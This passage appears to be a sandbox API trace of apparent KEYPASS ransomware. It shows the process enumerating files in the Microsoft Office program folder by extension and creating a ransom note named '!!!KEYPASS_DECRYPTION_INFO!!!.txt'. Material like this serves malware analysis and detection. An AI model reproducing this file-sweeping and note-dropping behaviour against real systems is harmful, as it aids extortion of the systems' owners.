(pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\HAMMER.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LASER.WAV") returned=".WAV" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_abbrdialtone.wav") returned=".wav" [0258.481] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ActivePresenterChange.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_appinvite.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_busy.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_callended.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ChangeModality.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_connecting.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dialtone.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf0.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf1.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf2.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf3.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf4.wav") returned=".wav" [0258.482] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf5.wav") returned=".wav" [0258.483] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.483] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf6.wav") returned=".wav" [0258.483] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.483] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf7.wav") returned=".wav" [0258.483] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf8.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf9.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmfpound.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmfstar.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_fastbusy.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_fsringing.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_howler.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_iminvite.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_istyping.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_joinedconference.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_muting.wav") returned=".wav" [0258.484] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.484] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_newim.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_onhold.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_presence.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_redirect.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringback.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringing.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone2.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone3.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone4.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone5.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone6.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone7.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_secondcall.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_untag.wav") returned=".wav" [0258.485] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.485] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_videoadded.wav") returned=".wav" [0258.486] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_videocall.wav") returned=".wav" [0258.486] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\PUSH.WAV") returned=".WAV" [0258.486] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\SUCTION.WAV") returned=".WAV" [0258.486] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\TYPE.WAV") returned=".WAV" [0258.486] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\VOLTAGE.WAV") returned=".WAV" [0258.486] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\WHOOSH.WAV") returned=".WAV" [0258.486] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\WIND.WAV") returned=".WAV" [0258.486] FindNextFileW (in: hFindFile=0x3876240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0258.486] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MeetingJoinAxOC.dll") returned=".dll" [0258.486] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mfc140u.dll") returned=".dll" [0258.486] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip") returned=".zip" [0258.486] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.486] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip") returned=".zip" [0258.486] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.487] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip") returned=".zip" [0258.487] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.487] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned=".dll" [0258.487] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.487] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Office.PolicyTips.dll") returned=".dll" [0258.487] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.487] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\microsoft.office.workflow.actions.proxy.dll") returned=".dll" [0258.487] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\microsoft.sharepoint.workflowactions.proxy.dll") returned=".dll" [0258.538] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MIMEDIR.DLL") returned=".DLL" [0258.538] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MINSBPROXY.DLL") returned=".DLL" [0258.538] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MINSBROAMINGPROXY.DLL") returned=".DLL" [0258.538] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe") returned=".exe" [0258.538] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MLCFG32.CPL") returned=".CPL" [0258.538] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL") returned=".XSL" [0258.538] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MODELENG.DLL") returned=".DLL" [0258.538] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MORPH9.DLL") returned=".DLL" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MPXINT.DLL") returned=".DLL" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACC.OLB") returned=".OLB" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE") returned=".EXE" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msaccess.exe.manifest") returned=".manifest" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml") returned=".xml" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSAEXP30.DLL") returned=".DLL" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSBARCODE.DLL") returned=".DLL" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7cm_en.dub") returned=".dub" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7cm_es.dub") returned=".dub" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7cm_fr.dub") returned=".dub" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7en.dll") returned=".dll" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.539] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7es.dll") returned=".dll" [0258.539] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7fr.dll") returned=".dll" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7wre_en.dub") returned=".dub" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7wre_es.dub") returned=".dub" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7wre_fr.dub") returned=".dub" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7.dll") returned=".dll" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7db.kic") returned=".kic" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7en.kic") returned=".kic" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7es.kic") returned=".kic" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7fr.kic") returned=".kic" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7ge.kic") returned=".kic" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic") returned=".kic" [0258.540] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.671] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7tk.dll") returned=".dll" [0258.671] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.671] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7tkjp.dll") returned=".dll" [0258.672] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.672] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\msfad.dll") returned=".dll" [0258.672] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0258.672] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0258.672] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0258.672] GetLastError () returned 0x3f0 [0258.672] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0258.672] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0258.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa94 [0258.881] GetFileType (hFile=0xa94) returned 0x1 [0258.881] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0258.881] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0258.881] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0258.881] WriteFile (in: hFile=0xa94, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0258.882] WriteFile (in: hFile=0xa94, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0258.882] CloseHandle (hObject=0xa94) returned 1 [0258.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3876340 [0258.882] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.961] FindNextFileW (in: hFindFile=0x3876340, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.961] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0258.961] FindNextFileW (in: hFindFile=0x3876340, 